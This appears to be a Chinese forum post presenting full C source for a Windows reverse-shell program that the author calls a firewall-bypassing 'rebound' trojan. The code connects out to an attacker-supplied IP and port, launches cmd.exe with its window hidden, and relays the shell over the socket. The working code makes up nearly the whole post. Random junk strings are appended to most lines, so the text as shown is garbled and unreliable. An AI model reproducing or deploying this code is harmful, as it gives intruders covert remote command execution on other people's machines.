这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Qy4X#wgD
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/* ============================== ?F!EB4E\y}
Rebound port in Windows NT gb.f%rlZ`
By wind,2006/7 E"Zb};}
===============================*/ T&?w"T2y
#include eeZIa`.sX
#include R
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#pragma comment(lib,"wsock32.lib") D~cW
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void OutputShell(); uK$=3[;U/!
SOCKET sClient; qIB>6bv#x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4O$ mR
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void main(int argc,char **argv) WLE%d]'%M
{ (F/HU"C
WSADATA stWsaData; ?lF mXZy`
int nRet; ksTzXG8
SOCKADDR_IN stSaiClient,stSaiServer; >g>?Y G
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if(argc != 3) [:Be[pLC
{ 3 t/ R 2M
printf("Useage:\n\rRebound DestIP DestPort\n"); Ynvj;
return; wHA/b.jH
} Y
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WSAStartup(MAKEWORD(2,2),&stWsaData); B,4q>KQA
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L{!ihJr
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stSaiClient.sin_family = AF_INET; v}Z9+ yRC2
stSaiClient.sin_port = htons(0); A_@I_V$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xtOx|FkYcl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3QIdN
{ w
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printf("Bind Socket Failed!\n"); ]Qd{ '}+
return; 9e]'OKL+
} ~
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stSaiServer.sin_family = AF_INET; >o#ERNf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Rl1$?l6Rf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); juH wHt
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :"V ujvFX
{ `{DG;J03[
printf("Connect Error!"); l"kxr96
return; z9 O~W5-U
} F,Q?s9s
OutputShell(); U7E
} R0vww_fz
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void OutputShell() vm|!{5l:=y
{ EA6t36|TX
char szBuff[1024]; <>]1Y$^Y
SECURITY_ATTRIBUTES stSecurityAttributes; 8-ZUS|7B
OSVERSIONINFO stOsversionInfo; C w%BZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2yvVeo&3
STARTUPINFO stStartupInfo; xkM] J)C
char *szShell; {8 N=WZ
PROCESS_INFORMATION stProcessInformation; nx B32
unsigned long lBytesRead; _PV*lK=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pr$~8e=c
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jQ?LHUE
stSecurityAttributes.lpSecurityDescriptor = 0; e{0L%%2K
stSecurityAttributes.bInheritHandle = TRUE; IO"hF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z{|LQt6q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5KJ%]B(H2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L%XXf3;c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -TTs.O8P|<
stStartupInfo.wShowWindow = SW_HIDE; {OCJ(^8i
stStartupInfo.hStdInput = hReadPipe; E?cZbn*>`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =T4u":#N;
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GetVersionEx(&stOsversionInfo); iX%n0i
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switch(stOsversionInfo.dwPlatformId) \_9rr6^"
{ e #M iaX
case 1: Oc~aW3*A(
szShell = "command.com"; DvYwCgLR
break; 3fp> 4;ym'
default: +ubnx{VC
szShell = "cmd.exe"; Pw{"_g
break; hVM2/j
} I+",b4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ! Mo`^t
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send(sClient,szMsg,77,0); K&dT(U
while(1) a+Ab]m8`
{ 4,~tl~FD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $;`I,k$0>~
if(lBytesRead) c`jDW S
{ =cn~BnowY
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8W -@N
send(sClient,szBuff,lBytesRead,0); ^A!$i$NON
} pj;
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else cDeZMsV
{ iSiDSeW8
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; YeyGN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5)M2r!\
} Qxt@V
} v{y{sA
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return; d!V$Y}n
}